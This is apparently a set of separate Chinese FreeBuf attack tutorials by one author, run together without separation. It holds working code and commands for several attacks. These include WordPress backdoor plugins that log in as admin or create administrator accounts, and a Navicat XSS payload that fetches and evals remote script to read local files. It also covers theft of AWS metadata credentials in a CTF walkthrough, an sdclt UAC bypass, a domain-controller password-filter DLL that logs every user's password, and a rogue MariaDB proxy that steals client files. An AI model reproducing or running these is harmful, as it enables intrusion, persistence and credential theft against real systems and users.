权限后门是最容易被管理员忽视的环节,通常需要对系统进行全面检查才能发现。本文以Wordpress为例,介绍两种新型的后门方式。

方案1 – 自动登录管理员账号

这种方案较为隐蔽,我们只要找到一个管理员账号,调用Wordpress API,实现自动登录即可。

screen 2017-12-23 at 16.19.57.jpg

在测试环境中,我们只有 admin 一个账号。为了登录这个admin 账号,我们需要进行如下操作

// 当带有 "update" 字样时就执行后门
if (! isset ($_GET['update']))
{
     return;
}

$user = get_user_by('login', 'admin');
if (! is_wp_error($user))
{
    // 清空当前认证信息
    wp_clear_auth_cookie();
    // 设置管理员的认证信息
    wp_set_current_user($user->ID);
    wp_set_auth_cookie($user->ID);
    // 跳转到管理后台
    wp_safe_redirect(user_admin_url());

    exit();
}

我们登录服务器,将插件释放在 wp-content/plugins/001-autologin.php,并激活插件,e.g

screen 2017-12-23 at 16.27.32.jpg

激活后,就可以成功登录了。这里为了方便演示,用的cURL命令

screen 2017-12-23 at 16.31.11.jpg

方案2 – 创建管理账号

这个方法会根据用户输入的账号和密码,创建管理员账号。我们编写如下插件,安装到 WordPress 里,

$__username = @$_REQUEST['__username'];
$__password = @$_REQUEST['__password'];

if (! isset ($__username) || ! isset ($__password) || username_exists ($__username))
{
    return;
}

// 创建用户
$user = wp_create_user($__username, $__password, "[email protected]");
if (! is_wp_error($user))
{
    $user = get_user_by('login', $__username);
    // 设置为管理员角色
    $user->set_role('administrator');
    exit();
}

激活插件后,我们触发一下

screen 2017-12-23 at 16.41.31.jpg

使用刚刚提交的账号密码,aka hello:world 登录,发现管理员账号已经添加成功了:

screen 2017-12-23 at 16.37.42.jpg

写在最后

本文只是以Wordpress插件为例,讲解如何实现后门机制,后门代码并不一定放在插件里。至于如何隐藏后门,本文不再赘述。

完整的测试代码可以在这里下载:https://rasp.baidu.com/download/

*本文作者:c0debreak ,转载请注明来自FreeBuf.COM

*本文作者:c0debreak,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

Navicat 客户端存在一个XSS,在查看表字段时,没有对内容进行处理,导致一个XSS问题。利用这个漏洞可以读取敏感文件,比如 /Users/XXXX/.bash_history 。

漏洞发现

这两天在测试一个漏洞数据库,这个漏洞库集成了 packetstormsecurity、exploitdb 等知名来源的数据。当我们用 navicat 打开,查看某个字段的时候,奇怪的事情发生了,居然有Javascript弹窗提示?

看不见的攻击面:查看SQLite数据库就中招?

通过搜索 prompt 关键词,很快定位到了问题

看不见的攻击面:查看SQLite数据库就中招?

所以,navicat 在渲染数据库字段时,莫名其妙的执行了代码中的 Javascript。

漏洞测试

为了方便调试客户端XSS,我们编写一个最小的 “requirejs” 利用代码。这段代码会远程加载 127.0.0.1/test.js 并执行

http://localhost/x#<svg/onload='function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();'>

下面编写 test.js,以读取沙箱外面的文件为例(注意替换 Users/USERNAME/.vimrc 为你要读取的文件)

function reqListener () {
  prompt(this.responseText);
}

var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///Users/USERNAME/.vimrc");
oReq.send();

然后来创建SQLite数据库,并用 Navicat 打开

%> sqlite3 test.db
SQLite version 3.19.3 2017-06-27 16:48:08
Enter ".help" for usage hints.
sqlite> create table test(id text);
sqlite> insert into test values('http://localhost/x#<svg/onload=''function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();''>');

经过测试,利用这个漏洞读取用户文件、内网代理、访问开发机上的 redis 等等都是可以的,具有一定的危害

看不见的攻击面:查看SQLite数据库就中招?

测试环境下载

笔者制作了一个最小的测试库 “navicat-clientxss-test.db”,在这里下载:https://rasp.baidu.com/download/

*本文作者:c0debreak,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*原创作者:c0debreak,本文属FreeBuf原创奖励计划,未经许可禁止转载

简介

前段时间看到一个CTF: flaws.cloud,它展示了AWS和S3一些常见的安全问题

intro.jpg

场景一

对 S3 权限的利用:当 Everyone 具有访问权限时,带来一系列安全问题

level1-intro.jpg

那么如何找到 flaws.cloud 对应的 S3 Bucket 呢?

通过DNS解析,我们发现 flaws.cloud 指向 54.231.176.211,再经过反解,得知这台服务器在 s3-website-us-west-2.amazonaws.com

level1-1.jpg

从解析记录来看,服务器在 us-west-2 区域,尝试读取一下内容,

level1-2.jpg

在 secrets.html 里找到了下一关的域名,进入下一关

level1-3.jpg

HackerOne 案例

Shopify S3 Bucket 信息泄露 – $500

修复方式

在 Bucket Permission 里删除相关权限配置

screen 2017-03-19 at 09.18.44.jpg

场景二

还是S3权限问题,虽然去掉了 Everyone 的权限,但是却给 “Any Authenticated AWS User” 授予了权限,

level2-1.jpg

所以,我们可以注册一个账号,也可以直接从 github 找一个 aws access key

不论是哪种方式,配置好 awscli 之后,即可用相同的方法下载S3的数据

level2-2.jpg

HackerOne 案例

Udemy S3 写权限控制不当

修复方式

同场景一

场景三

aws access key 管理问题,

level3-intro.jpg

用同样的方式下载 S3 的内容,

level3-1.jpg

在 git log 中发现端倪

level3-2.jpg

使用 git diff f7cebc46b471ca9838a0bdd1074bb498a3f84c87 找到了删除的 aws access key & secret

level3-3.jpg

用这个 access key 列出全部的 S3 实例

level3-4.jpg

level3-5.jpg

找到了 level4 的地址,继续

修复方式

删掉 .git,

在 IAM -> Users -> Access Keys 里重新分配 aws access key & secret

场景四

这一关是对 EC2 快照的利用,对于一个没有权限限制的快照,任何人都可以通过挂载这个快照,并提取快照里的内容

l4.jpg

通过 snapshot 相关指令获取到了 snapshot 的编号,

l4-2.jpg

l4-3.jpg

然后我们尝试挂载一下这个快照,

level5-0.jpg

挂载的时候似乎一直不成功,最后在控制台里发现,这个快照是 us-west-2a 区域的,而新申请的 EC2 实例是 2c 区域的

console.jpg

level5-1.jpg

快照是无法跨区挂载的,只好跳关~

场景五

AWS 开放代理和 metadata 地址的利用;metadata 目前有一些自动化的利用工具,e.g nimbostratus

简而言之,通过 169.254.169.254 这个地址可以获取到一些信息,用于提升权限等等

level5-intro.jpg

我们用代理服务访问以下 metadata 地址,

level5-1.jpg

经过一层层深挖,找到了 aws access key & secrets

level5-2.jpg

按照同样的方式,建立一个新的 level5 profile,然后读取 level6 的内容,e.g

curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/ | jq -rj '"[level5]\naws_access_key_id = ", .AccessKeyId, "\naws_secret_access_key = ", .SecretAccessKey, "\naws_session_token = ", .Token, "\n"' >> ~/.aws/credentials

找到最后一关的 URL,继续

level5-3.jpg

场景六

这一关是对 IAM 权限 的利用,

level6-intro.jpg

使用上面的信息配置好 awscli 后,我们先看下这个key的权限有多大,

level6-2.jpg

尝试读取一下这个 list_apigateways 策略,先获取默认版本号,再读指定顶版本号的策略

level6-3.jpg

level6-4.jpg

可以看出,当前用户有 API gateway 的权限,那么都有哪些可以调用呢?

level6-1-1.jpg

那么这个 AWS Lamba 的URL是什么呢?

level6-1-2.jpg

使用 stageName、region 以及函数名,拼凑出完整的 API 路径。

level6-1-3.jpg

按照提示打开页面,结束战斗

end.jpg

最后发个广告,点这里有惊喜哦

*原创作者:c0debreak,本文属FreeBuf原创奖励计划,未经许可禁止转载

*本文原创作者:c0debreak,属Freebuf原创奖励计划,未经许可禁止转载

简介

sdclt 是微软提供的命令行磁盘备份工具,从 Vista 时代引入

图1.jpg

在 Windows 10 开始,sdclt 加入了自动提升权限的能力,requestedExecutionLevel 由 asInvoker 变为 requireAdministrator

图2.jpg

(命令 sigcheck -m %systemroot%\system32\sdclt.exe 的结果)

当不带任何参数启动 sdclt 时,sdclt 会打开控制面板

图3.jpg

控制面板的主程序为 control.exe,那么 sdclt 是如何找到 control.exe 完整路径的呢?

通过 process monitor 的分析 (过滤掉不相干进程,再用 CTRL + F 搜索 control.exe),sdclt 似乎是从注册表读取到了 control.exe 的路径,

图4.jpg

按照这个原理,我们写一个简单的 PoC 测试下

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /t REG_SZ /d %COMSPEC% /f
sdclt

在 cmd 中执行一下试试

图5.jpg

可以看到,控制面板没有启动,而是弹出了一个 cmd,我们也获得了管理员权限

当然,提升权限后还要清理下痕迹,具体代码请看完整PoC,点这里下载

写在最后

其实可以把 HKCU 整个导出来看一下,目前我还没有发现其它类似的案例,有兴趣的同学可以研究下~

最后发个广告,点这里有惊喜哦

*本文原创作者:c0debreak,属Freebuf原创奖励计划,未经许可禁止转载

* 本文原创作者:c0debreak,本文属FreeBuf原创奖励计划,未经许可禁止转载

简介

在组策略之外,Windows 允许你自定义密码策略,滥用这个机制可以实现一些恶意行为。今天为大家科普下

当我们按下 CTRL + ALT + DEL,修改用户密码时,在 Windows 服务器端,会发生什么呢?

首先,Windows 服务器(域控)会检查注册表,找到 Password Filter,也就是 LSA Notification Package。然后挨个调用DLL,检查密码是否符合策略,

lsa.jpg

如果不符合策略,就提示密码不够健壮,

screen 2017-03-15 at 11.25.46.jpg

在默认情况下,域上的服务器包含两个DLL,其中 seccli 负责实现密码安全策略,也就我们常用的GPO了

gpo.jpg

我们今天的主题,就是如何滥用这个机制,实现一个密码策略插件,以记录所有域用户的密码

一家上市公司,为了符合SOX 404审计要求,密码每三个月就要强制修改一次,刚好可以触发这个机制

查了下官方文档,一个密码插件需要导出三个函数,

src.jpg

其中 PasswordFilter 负责检查密码是否合规;PasswordChangeNotify 是在工作站上执行,负责告知工作站用户密码变更。

最终的源代码和64位的DLL可以在这里下载(使用 build.cmd 编译)

安装插件

我们登陆域控,将编译好的 SecureFilter.dll 复制到 %system32% 目录,

然后打开注册表,找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Package

添加SecureFilter 字样

screen 2017-03-14 at 22.20.52.jpg

重启 DC 服务器后生效

实战演示

我们登陆一台工作站,修改密码,

changepw.jpg

回到域控,发现日志已经写入了

log.jpg

写在最后

经过测试,无论你用何种方式修改密码,OWA 还是命令行,效果都是一样的;在未加域的服务器上效果也是一样

如果想要立即获取某个用户的密码,在域控上轻轻一勾即可 “User must change password at next logon”,如图所示:

screen 2017-03-15 at 11.38.46.jpg

参考资料

  1. https://www.slideshare.net/nFrontSecurity/how-do-password-filters-work
  2. https://technet.microsoft.com/en-us/library/cc963221.aspx
  3. https://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx.aspx)

最后发个广告~点这里有惊喜

* 本文原创作者:c0debreak,本文属FreeBuf原创奖励计划,未经许可禁止转载

*本文原创作者:c0debreak,本文属FreeBuf原创奖励计划,未经许可禁止转载 上周发现了一个神奇的 Mariadb 服务端插件,可以用来做蜜罐,这里分享给大家。说是一个蜜罐,但在渗透中,也可以用来搞定某些服务器,你懂的。

简介

简单讲,MariaDB 存在一个未公开的协议,在客户端进行查询前,重写客户端要执行的查询语句,并重新发起查询。那么这个有什么危害呢? 如果我们将客户端的查询语句,替换为某些恶意的语句,e.g.

LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test.loot

就可以实现一些对客户端的攻击。如果是Windows客户端,这个危害还可以进一步扩大,你懂的。 其实这个场景还是很多的,很多 MySQL 监控程序,都会连接数据库,执行一些语句,e.g.
SELECT @@server_id
如果被替换成读取敏感文件的语句,Well~

实战演示

配置服务

我们用 Ubuntu 16.04 进行演示,安装好 mariadb 和 maxscale MaxScale For Ubuntu 在这里下载 我们先简单配置下 Mariadb,创建一个库和用户,

screen 2017-03-10 at 11.07.19.jpg

确认 mariadb 可用之后,我们再配置下 maxscale 插件,完整配置在文末可以下载。 我们添加一个新的 Filter, 它负责把 select @@server_id 替换为 LOAD DATA 语句,实现客户端文件盗取。

screen 2017-03-10 at 11.19.21.jpg

实际效果演示

当客户端连接上服务器,注意 MaxScale 监听的是 4008 端口

screen 2017-03-10 at 11.10.36.jpg

我们执行下select @@server_id 然后退出, 现在重新链接到原始服务器,发现 test.loot 已经写入了数据 ,

screen 2017-03-10 at 11.10.43.jpg

好了,我们成功的读取到了 /etc/passwd,那么这个真的只影响 MySQL 客户端?不是的,不管你用 PHP、Python 还是 Ruby,都会受到影响,所以这个危害还是很大的。 当然,一个聪明的攻击者,应当禁用Mariadb的认证机制,让任何客户端都能够连接。

附件

完整 MaxScale 配置 *本文原创作者:c0debreak,本文属FreeBuf原创奖励计划,未经许可禁止转载